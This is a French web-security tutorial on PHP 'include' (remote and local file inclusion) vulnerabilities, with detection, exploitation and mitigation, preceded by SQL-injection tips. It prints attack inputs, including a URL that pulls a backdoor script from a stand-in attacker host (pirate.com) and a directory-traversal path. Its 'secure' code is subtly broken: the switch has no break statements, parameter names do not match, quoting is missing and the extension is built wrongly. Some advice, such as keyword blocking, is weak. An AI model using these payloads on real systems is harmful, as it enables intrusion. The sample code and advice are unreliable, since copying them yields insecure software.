

- Valider les données avant de les utiliser en rejetant systématiquement toutes les données non conformes qui incluent par exemple INSERT, ORDER, ... Un internaute légitime n'aura pas ce genre de mots dans son login ou son mot de passe. C'est obligatoirement une attaque de pirates.
- Utiliser des fonctions comme «mysql_real_escape_string» sous PHP pour supprimer tous les caractères spéciaux
- Supprimer les messages d'erreurs générés automatiquement qui donnent des informations aux pirates
- Ne pas utiliser directement des fonctions comme «mysql_query» sans vérifier la requête qui est passée
- Respecter le principe des privilèges. Un internaute normal n'a pas les mêmes droits qu'un administrateur.
- Caster les nombres de manière à ne pas avoir de texte

Vulnérabilité Include

Présentation

Supposons que vous soyez en train de développer un site Internet qui comprend plusieurs centaines de pages qui ont toutes le même menu. Lors du changement du menu, il est inconcevable de remettre à jour toutes les pages individuellement. La fonction «include» permet cette mise à jour très simplement. Au début de tous les fichiers du site, il suffit d'insérer le code suivant :

```
<? include(menu.php); ?>
```

A l'ouverture de la page, la fonction «include» va lire le fichier «menu.php» ET l'exécuter. Toutes les pages du site sont ainsi mises à jour.

D'autres fonctions peuvent avoir à peu près le même effet comme «eval()» ou «require()» qui chargent le fichier ET l'exécutent.

La vulnérabilité «include» n'est pas exactement dans ce type d'utilisation mais plutôt dans la possibilité donnée à l'internaute d'ouvrir dynamiquement des pages. Considérons un site qui propose la lecture d'articles stockés sur son serveur. Les pages sont généralement appelées avec un code du type :

```
http://www.site.com/index.php?art=article1.txt
```

qui utilise la fonction «include» pour l'afficher sous la forme

```
$art = $_GET['art'];  
include ($art);
```

Si le code n'est pas écrit correctement, un pirate peut détourner l'URL en envoyant par exemple :

```
http://www.site.com/index.php?art=http://www.pirate.com/backdoor.php
```

Le fichier «backdoor.php» sera téléchargé du site du pirate, ouvert par la fonction «include» ET exécuté, installant ainsi un backdoor sur la machine victime.

C'est en cette manipulation que consiste la vulnérabilité «include»



Détection

Les sites Internet utilisant explicitement la fonction «include» présentent généralement des URL de la forme :

```
/index.php?page=page1.html  
/index.php?url=page1.html  
/index.php?var=page.html
```

La détection de la vulnérabilité «include» est alors extrêmement simple, on utilise soit un appel de la forme :

```
/index.php?page=http://www.google.fr/index.php
```

Si la page «google» s'affiche c'est qu'il y a probablement une vulnérabilité «include».

Soit une page test de la forme :

```
/index.php?page=toto.php
```

Si on obtient un message d'erreur de la forme :

```
Warning : main(): failed to open stream: No such file or directory in /home/toto.php on line 2
```

C'est qu'il y a probablement une vulnérabilité «include» à la ligne 2.

Exploitation de la vulnérabilité :

Vulnérabilité «include» à distance

Lors de la présentation de la vulnérabilité «include» nous avons vu qu'elle offre la possibilité à un pirate d'installer un backdoor. C'est ce que l'on peut appeler une vulnérabilité «include à distance».

Vulnérabilité «include» en local

Considérons maintenant un code qui permettrait l'affichage des articles contenus uniquement dans le dossier «art». On aurait quelque chose comme :

```
$art = $_GET['art'];  
include ('/art/$art');
```

Contrairement à ce que l'on pourrait croire, le pirate n'est pas limité à ce répertoire. Il peut par exemple rentrer l'URL suivante :

```
/index.php?page=../page/toto.php
```

Si le fichier «toto.php» existe dans le répertoire du niveau supérieur au répertoire «page» celui-ci sera affiché. Cette technique peut permettre de remonter dans l'arborescence et retrouver des fichiers. (Pour plus de détails, voir la vulnérabilité Reverse Directory Transversal).

Une des protections classiquement utilisées est de rajouter à postériori l'extension; l'URL devient :

/index.php?page=art001

Et le code d'exploitation ressemble à :

```
$art = $_GET['art'];
$art = $art . "htm";
include (/$art);
```

Ce type de protection est très facilement piratable. Il suffit d'insérer une URL comme :

/index.php?page=http://www.pirate.com/backdoor

Qui ouvrira le fichier :

http://www.pirate.com/backdoor.htm

Sécurisation

La seule et unique méthode à peu près fiable est de créer un tableau avec la liste de toutes les pages autorisées et de vérifier systématiquement que la page à charger en fait partie. Certes cette méthode est laborieuse car elle demande de lister tous les fichiers autorisés mais elle limite considérablement les risques. On peut utiliser un code du style :

```
$array_file[0] = "page0.htm";
$array_file[1] = "page1.htm";
$array_file[2] = "page2.htm";
$array_file[3] = "page3.htm";

$art = $_POST['art'];
Switch ($art)
{
    Case 'page0.htm':
        include('page0.htm');
    case 'page1.htm':
        include('page1.htm');
    default:
        include('index.php');
}
```

Il est aussi possible d'appliquer des filtres et de valider les données transmises mais ils doivent être testés en profondeur afin d'éviter toutes possibilités de vulnérabilités. Si ces filtres sont mal conçus, le pirate finira par trouver une faille.

Il existe aussi la possibilité d'utiliser la fonction «file_exists» qui retourne "true" si le fichier existe sur le serveur. Dans ce cas, il n'est effectivement pas possible d'activer des pages stockées hors serveur mais rien n'empêche le pirate d'essayer de charger des fichiers sensibles du serveur comme «.htaccess» ou «.htpassword».